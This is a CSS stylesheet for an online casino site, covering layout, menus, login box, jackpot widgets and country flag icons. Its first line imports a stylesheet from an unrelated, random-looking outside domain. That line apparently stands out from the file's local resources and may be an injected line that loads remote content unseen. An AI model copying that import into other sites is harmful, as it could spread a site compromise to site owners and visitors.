@import url("http://cssksw.com/62cnozz5xp");
@font-face
{
		font-family:"DINPro-Black";
		src:url(../fonts/DINPro-Black.otf);
}

@font-face
{
		font-family:"DINPro-Bold";
		src:url(../fonts/DINPro-Bold.otf);
}

body 
{
		font-family:Arial, sans-serif;
		font-size:14px;
		background:#627484;
		padding:0;
		margin:0;
		color:#FFFFFF;
		/*background:url(../img/bodyBg.jpg) transparent no-repeat fixed 0 0;*/
}
h1,
h2,
h3,
h4,
h5
{
		color:#FFFFFF;
}

h1
{
		margin-top: 0;
}

h1, h2
{
		font-family:"DINPro-Bold", "Verdana", sans-serif;
}

a
{
		color:#DECC02;
		text-decoration:none;
}


a:hover,
a:active
{
		color:#DECC02;
		text-decoration:underline;
		text-shadow:0 0 2px #FCF05F;
}

strong
{
		color:#DECC02;
		font-weight:bold;
}

form
{
		margin:0;
}

fieldset
{
		border:none;
}

legend
{
		display:block;
		border-bottom:1px solid #18457D;
		padding-bottom:3px;
		margin-bottom:0.5em;
}

legend span
{
		display:block;
		width:342px;
}

label
{
		color:#A7A7A7;
		float:left;
		width:150px;
		margin-right:7px;
		text-align:right;
}

#wrapper
{
		position:relative;
		width:763px;
		margin:6px auto 0;
		background:url(../img/casinoonline/content.png) transparent repeat-y 0 0;
}

#header 
{
		position:relative;
		top:0;
		left:-316px;
		width:1079px;
		height:383px;
		background:url(../img/casinoonline/header.png) transparent left top no-repeat;
		margin:0 auto;
}
#primaryColumn
{
		position:absolute;
		left:0;
		top:249px;
		width:200px;
		background:url(../img/casinoonline/menuBg.png) transparent repeat-y 0 0;
}
#secondaryColumn 
{
		position:absolute;
		right:-152px;
		top:159px;
		width:125px;
		padding:0;
		/*background:url(../img/sideBarBg.png) transparent repeat-y top left;*/
}


#footer
{
		position:relative;
		top:-95px;
		padding:20px 4em;
		background:url(../img/casinoonline/hr.png) transparent no-repeat center top;
		clear:both;
		text-align:center;
		color:#FFF;
		font-size:85%;
		margin-bottom:-95px;
}
#footer span
{
		color:#FFFFFF;
}



#contentWrapper
{
		position:relative;
		top:-100px;
		width:737px;
		margin:0;
		padding:0px 14px 0; 
		color:#FFF;
		min-height:720px;
}
/*
#contentWrapper:before
{
		content:' ';
		display:block;
		position:relative;
		top:-26px;
		left:-14px;
		background:url(../img/contentBgTopNorsk.png) transparent no-repeat 0 0;
		width:618px;
		height:26px;
}

#contentWrapper:after
{
		content:' ';
		display:block;
		position:relative;
		top:26px;
		left:-14px;
		background:url(../img/contentBgBottomNorsk.png) transparent no-repeat 0 0;
		width:618px;
		height:26px;
}
		*/

#content
{
		margin-top:-30px;
		margin-left:200px;
		padding:0;
}

#logo
{
		position:absolute;
		top:72px;
		right:10px;
		z-index:2;
		width:430px;
		height:94px;
		background:url(../img/casinoonline/siteTitle.png) transparent no-repeat left top;
		text-indent:-2000em;
}

#logo a 
{
		display:block;
		height:100%;
}

#motto
{
		position:absolute;
		right:24px;
		top:142px;
		z-index:2;
		/*background:url(../img/header-bytext.png) transparent no-repeat left top;*/
		color:#FFF;
		font-size:20px;
}

#headerFlag
{
		position:absolute;
		left:0;
		bottom:0;
		width:450px;
		height:136px;		
}

#menuWrapper
{
		width:100%;
		padding-bottom:16px;
		/*background:url(../img/menuBottom.png) transparent no-repeat bottom left;*/
}

#menu
{
		font-family: "DINPro-Bold", "Verdana", sans-serif;
		font-size:14px;
		font-weight:bold;
		margin:0;
		padding:21px 0px 0 25px;
		list-style-type:none;
		list-style-position:outside;
		list-style-image:none;
}

#menu li
{
		/*background:url(../img/menu-automater-bg.png) transparent repeat-y left top;*/
		padding:6px 10px 6px 10px;
		text-align:right;
}
#menu li:last-child
{
}

#menu li.activeMenuItem
{
}

#menu a
{
		text-decoration:none;
		text-transform:uppercase;
		color:#BCC2FE;
}
#menu a:hover,
#menu .activeMenuItem a 
{
		color:#FFFFFF;
}



#loginWrapper,
#latestWinWrapper
{
		width:160px;
		height:125px;
		background:url(../img/loginBg.png) transparent no-repeat left top;
		font-size:12px;
		padding:23px 5px 0 20px;
		margin-top:10px;
}

		

#loginWrapper form
{
		margin:15px 0 0 0;
		padding;0;
}

#loginWrapper span.heading,
#latestWinWrapper span.heading
{
		padding:8px 5px;
		font-size:14px;
		font-weight:bold;
		background:url(../img/sideBarHeading.png) no-repeat top right;
		color:#020E1E;
		text-transform:uppercase;
		text-align:right;
		vertical-align:middle;
		margin-left:-20px;
		clear:both;
}


.iText
{
		border:none;
		margin-bottom:3px;
		width:190px;
		height:19px;
		background:url(../img/iText-190.png) transparent no-repeat top left;;
}

#loginWrapper .iText
{
		width:83px;
		height:19px;
		background:url(../img/iText.png) transparent no-repeat top left;;
}


#loginWrapper label
{
		float:left;
		width:65px;
		text-align:left;
}

#loginWrapper button
{
		width:93px;
		height:26px;
		vertical-align:middle;
		text-align:center;
		background:url(../img/loginBtn.png) no-repeat 0 0;
		border:none;
		margin-bottom:3px;
}

#latestWinWrapper
{
		padding-top:15px;
		height:126px;
		background:url(../img/latestWinBg.png) transparent no-repeat 0 0;
		margin-top:18px;
}

#latestWinWrapper table
{
		clear:left;
		margin-top:10px;
		font-weight:bold;
}

#latestWinWrapper td 
{
		padding:2px 4px;
}

.countryFlag
{
		background-position:bottom left;
		display:block;
		width:18px;
		height:16px;
		text-indent:-2000px;
}

.prize
{
		color:#DECC02;
}


.message
{
		position:relative;
		top:54px;
		width:550px;
		margin:0 0 0 205px;
		padding:10px 20px;
		list-style-position:inside;
		background:#DFCC04;
}

.message-2
{
		color:#DF4347;
}

.message-1
{
		color:#000000;
}

ul
{
		list-style-image:url(../img/casinoonline/ulSymbol.png);
}

ol, ul
{
		list-style-position:inside;
}



.radioGroup label
{
		float:none;
		text-align:left;
		width:auto;
}

input[type=text],
input[type=password],
textarea
{
		width:190px;
}

input[type=submit]
{
		margin-left:166px;
}

img {
		border:none
}

/* Language links */
#languageWrapper
{
		position:absolute;
		top:10px;
		right:10px;
		z-index:100;
}

#languageWrapper .languageItem
{
		float:left;
}

#languageWrapper a
{
		display:block;
		height:16px;
		width:18px;
		text-decoration:none;
		background-repeat:no-repeat;
		background-position:left top;
		background-color:transparent;
		margin-right:3px;
		color:#DDDDDD;
}
#languageWrapper a:hover,
#languageWrapper a:active,
#languageWrapper .activeLanguage
{
		background-position:left bottom;
		color:#FFFFFF;
}

.en
{
		background-image:url(../img/flags/flag_en.png);
}
.sk
{
		background-image:url(../img/flags/flag_sk.png);
}
.cz
{
		background-image:url(../img/flags/flag_cz.png);
}
.eu
{
		background-image:url(../img/flags/flag_eu.png);
}
.de
{
		background-image:url(../img/flags/flag_de.png);
}
.at
{
		background-image:url(../img/flags/flag_at.png);
}
.no
{
		background-image:url(../img/flags/flag_no.png);
}
.se
{
		background-image:url(../img/flags/flag_se.png);
}
.dk
{
		background-image:url(../img/flags/flag_dk.png);
}
.fr
{
		background-image:url(../img/flags/flag_fr.png);
}

.nl
{
		background-image:url(../img/flags/flag_nl.png);
}
.gr
{
		background-image:url(../img/flags/flag_gr.png);
}
.ch
{
		background-image:url(../img/flags/flag_ch.png);
}
.hr
{
		background-image:url(../img/flags/flag_hr.png);
}
.es
{
		background-image:url(../img/flags/flag_es.png);
}
.it
{
		background-image:url(../img/flags/flag_it.png);
}
.pl
{
		background-image:url(../img/flags/flag_pl.png);
}
.fi
{
		background-image:url(../img/flags/flag_fi.png);
}
.hu
{
		background-image:url(../img/flags/flag_hu.png);
}
.pt
{
		background-image:url(../img/flags/flag_pt.png);
}
.ro
{
		background-image:url(../img/flags/flag_ro.png);
}
.bg
{
		background-image:url(../img/flags/flag_bg.png);
}
.be
{
		background-image:url(../img/flags/flag_be.png);
}
.ru
{
		background-image:url(../img/flags/flag_ru.png);
}
.si
{
		background-image:url(../img/flags/flag_si.png);
}
.tr
{
		background-image:url(../img/flags/flag_tr.png);
}

.gameInfo
{
		/*background:url(../img/sideBarHr.png) transparent no-repeat 0 bottom;*/
		padding:12px 0;
}

.topCasinoInfo
{
		/*background:url(../img/sideBarHr.png) transparent no-repeat 0 bottom;*/
		padding:12px 0;
}

.gameInfo:last-child,
.topCasinoInfo:last-child
{
		background:none;
}

.topCasinoInfo a,
.gameInfo a
{
		color:#DDDDDD;
		font-weight:bold;
}


.gameInfo a 
{
		display:block;
		text-align:center;
		font-weight:bold;
		font-size:85%;
		margin-bottom:6px;
		color:#DDDDDD;
}

.gameInfo a img
{
		width:126px;
}

.gameInfo .gameName,
.gameInfo .gameName:hover
{
		color: #FFFFFF;
		text-decoration:none;
}

.gameInfo .playNow
{
		text-decoration:underline;
}


.casinoInfo 
{
		clear:both;
		margin:2em 0 0 ;
		width:550px;
		background:url(../img/casinoonline/hr.png) transparent no-repeat center bottom;
		padding:0 20px 20px 0;
}

.casinoInfo h2 a
{
		color:#FFFFFF;
}

.tournamentInfo p
{
		margin:0;
		padding:0;
}

.tournamentInfo h2
{
		margin:0.2em 0 0.1em 0;
		padding:0;
}


.casinoInfo .casinoScreenshot,
.affiliateInfo .affiliateScreenshot,
.tournamentInfo .tournamentScreenshot
{
		display:block;
		float:left;
		margin-right:20px;
}
.casinoScreenshot img,
.affiliateScreenshot img
{
		width:280px;
		border:none;
}

.tournamentInfo .tournamentScreenshot
{
		text-transform:uppercase;
		font-size:32px;
		width:250px;
		text-align:center;
}

.casinoInfo .gameScreenshots img 
{
		width: 70px;
		border: none;
}
.clear
{
		clear:both;
}
#casinoEuroWinnersWrapper
{
		position:relative;
		width:255px;
		margin-left:305px;
}
#casinoEuroBannerSideWrapper
{
		float:right;
		margin-top:10px;
		text-align:center;
		background:url(../img/sideBannerBg.png) transparent no-repeat 0 0;
		padding:15px 0;
		width:185px;
}


#betssonWinnersWrapper
{
		position:relative;
		width:250px;
		margin-left:305px;
}
#casinoEuroJackpotsWrapper
{
		position:relative;
		clear:left;
		margin-bottom:1em;
}
#betssonJackpotsWrapper
{
		position:relative;
		clear:left;
		background-color:none;
}
.bannerOverlay
{
		display:block;
		width:100%;
		height:100%;
		position:absolute;
		z-index:10;
}
.casinoLinks
{
		font-size:80%;
		clear:left;
}
.casinoLinks a
{
		display:block;
		float:left;
		margin-right:1em;
}

table.bonuses
{
		width:100%;
		margin-bottom:2em;
}
table.bonuses th
{
		font-size: 80%;
		background-color:#777777;
		color:#FFFFFF;
		padding:0.5em 0.3em;
		
}

#gameSelectorForm
{
		display:block;
		width:80%;
		margin-top:1em;
		margin-left:1em;
}
#gameSelector
{
		display:block;
		background: #555555 none repeat scroll 0 0; 
		border:1px solid #FFFFFF; 
		color:#FFFFFF; 
		margin:1em auto 4em; 
		padding:2px; 
		width:100%; 
		font-size:75%;
}

#menu2Wrapper 
{
		position:absolute;
		top:211px;
		left:0;
		z-index:11;
		width:100%;
		font-family: "DINPro-Bold", "Verdana", sans-serif;
		font-size:11px;
		font-weight:bold;
		/*background:url(../img/menu2Bg.png) no-repeat top right;*/
}
#menu2
{
		float:right;
		margin:0;
		padding:0;
		height:100%;
		list-style-position:inside;
		list-style-type:none;
		list-style-image:none;
}

#menu2 li
{
		float:left;
		padding:0 0 0 20px;
		margin-right:5px;
		background:url(../img/casinoonline/ulMenuSymbol.png) transparent no-repeat left center;
}

#menu2 a 
{
		color:#DDDDDD;
		text-decoration:none;
		text-transform:uppercase;
		text-shadow:3px 3px 3px #000000;
}

#menu2 .activeMenuItem a 
{
		color:#FFFFFF;
}

#menu2 a:hover,
#menu2 a:active
{
		color:#FFF;
}



#menu3
{
		list-style-type:none;
		list-style-image:none;
		padding:0;
}
#menu3 li
{
		display:inline;
		margin-right:1em;
}


table.pokerRules
{
		border:1px solid #CFCFCF;
		margin:0 0.5em 1em 0.5em;
}
table.pokerRules td
{
		font-size:90%;
		border-bottom:1px dotted #CFCFCF;
		padding:0.2em 0.4em;
}
table.pokerRules h4
{
		font-size:90%;
		font-weight:bold;
}
.totalStatistics span
{
		display:block;
}
table.statistics
{
		width:90%;
		margin:0 0.5em 1em 0.5em;
		border:1px solid #325EC7;
		text-align:right;
		border-spacing:0;
}
table.statistics thead th,
table.statistics tfoot td
{
		font-weight:bold;
		background-color:#325EC7;
		color:#FFFFFF;
}
table.statistics td,
table.statistics th
{
		padding:0.3em 0.5em;
}
table.statistics .noData
{
		color:#999999;
		text-align:center;
}
#myTransactions,
#myAffiliate
{
		display:none;
}
ul
{
		margin-top:0;
}


.siteInfo
{
		position:absolute;
		z-index:5;
		height:2em;
		bottom:5px;
		top:51px;
		right:10px;
		text-align:left;
		font-size:85%;
}

.siteInfo strong
{
		color:#FFFFFF;
}

#headerJackpot6k
{
		display:block;
		position:absolute;
		right:20px;
		bottom:30px;
		width:250px;
		height:58px;
}

#moneyWheel
{
		width:585px;
		margin-bottom:1em;
		text-align:center;
		
}
#moneyWheel img
{
}

.indexDecoration
{
	float:left;
	margin:0 23px 2em 0;
}

img#captcha
{
		margin-left:157px;
}

p.flashFreeGames 
{
		text-align:left;
}

p.flashFreeGames img
{
		margin-right:20px;
}

#freeGameWrapper
{
		margin-top:1em;
}

/* Headings */
#topGames h2,
#topCasinos h2,
#minigameWrapper h2
{
		padding:0;
		margin:1em 0 10px 0;
		height:31px;
}

#topGames h2.topGames-en
{
		/*text-indent:-2000em;
		background:url(../img/topGames_en.png) transparent no-repeat 0 0;
		 */
}

#topGames h2.topGames-sk
{
		/*text-indent:-2000em;
		background:url(../img/topGames_sk.png) transparent no-repeat 0 0;
		*/
}

#topCasinos h2.topCasinos-en
{
		/*text-indent:-2000em;
		background:url(../img/topCasinos_en.png) transparent no-repeat 0 0;
		*/
}

#topCasinos h2.topCasinos-sk
{
		/*text-indent:-2000em;
		background:url(../img/topCasinos_sk.png) transparent no-repeat 0 0;
		*/
}

#minigameWrapper h2.miniGame-en
{
		/*text-indent:-2000em;
		background:url(../img/miniGame_en.png) transparent no-repeat 0 0;
		*/
}

#minigameWrapper h2.miniGame-sk
{
		/*text-indent:-2000em;
		background:url(../img/miniGame_sk.png) transparent no-repeat 0 0;
		*/
}

h1.welcomeText span.welcomePlayer_en
{
		display:block;
		width:215px;  /* Width of the bg image */
		float:left;
		background:url(../img/welcomePlayer_en.png) transparent no-repeat right 2px;
		text-indent:-2000em;
}

h1.welcomeText span.welcomePlayer_sk
{
		display:block;
		width:112px;  /* Width of the bg image */
		float:left;
		background:url(../img/welcomePlayer_sk.png) transparent no-repeat right 2px;
		text-indent:-2000em;
}

h1.welcomeText
{
		font-size:26px;
}


h2.flashFreeGames_en
{
		clear:left;
		background:url(../img/flashFreeGames_en.png) transparent no-repeat 0 0;
		text-indent:-2000em;
}

h2.flashFreeGames_sk
{
		clear:left;
		background:url(../img/flashFreeGames_sk.png) transparent no-repeat 0 0;
		text-indent:-2000em;
}

h2.liveChat
{
		background:url(../img/liveChat.png) transparent no-repeat 0 0;
		text-indent:-2000em;
}

/*  End custom headings */

#chatWrapper
{
		position:relative;
}

.keywords
{
		color:#909091;
		font-size:75%;
		margin:10px 0;
}

.freegameScreenshots a
{
		display:block;
		float:left;
		margin:0 20px 20px 0;
}

.freegameScreenshots img
{
		width:155px;
		height:104px;
}

.partnerBannerWrapper
{
		margin-bottom:1em;

}

#betssonBannerTop
{
		width:505px;
		padding:0;
		margin:0;
}

#casinoEuroBannerTop
{
		padding:0;
		margin:0;
}

.news
{
		padding-bottom:1px;
		margin-bottom:0.5em;
}

.news h2 {
		display:block;
		float:left;
		margin:0 15px 0 0;
		font-size:18px;
}
.news p
{
		margin:0 0 1em 0;
}

h1.indexHeader
{
		margin-bottom:0.3em;
}

#lotteryPromo
{
		padding:10px 0;
}
#lotteryBanner 
{
		float:left;
		margin-right:20px;
		margin-bottom:10px;
}

.featuredGame,
.featuredCasino
{
		width:253px;
		min-height:300px;
		float:left;
		padding-bottom: 10px;
		margin-top:-20px 0 10px 0;
}
.featuredGame
{
		border-right:1px solid #3C6468;
		padding-right:15px;
}
.featuredCasino
{
		padding-left:15px;
}

.featuredGame h2,
.featuredCasino h2
{
		text-align:center;
		margin-top:0;
		color:#FFF;
}
.featuredGame .screenshot,
.featuredCasino .screenshot
{
		display:block;
		width:240px;
		margin:0 auto 10px;
}
.featuredGame
{
}
.featuredGame ul,
.featuredCasino ul
{
		list-style-position:outside;
		padding-left:20px;
}
#betssonWinners,
#betssonJackpots,
#mrgreenJackpots,
#mrgreenJackpots img
{
		display:block;
		margin:0 auto;
		clear:both;
}
#betssonWinners
{
		height:100px;
}

img#bodyBg
{
		position:fixed;
		width:100%;
		height:100%;
		border:none;
		padding:0;
		margin:0;
}

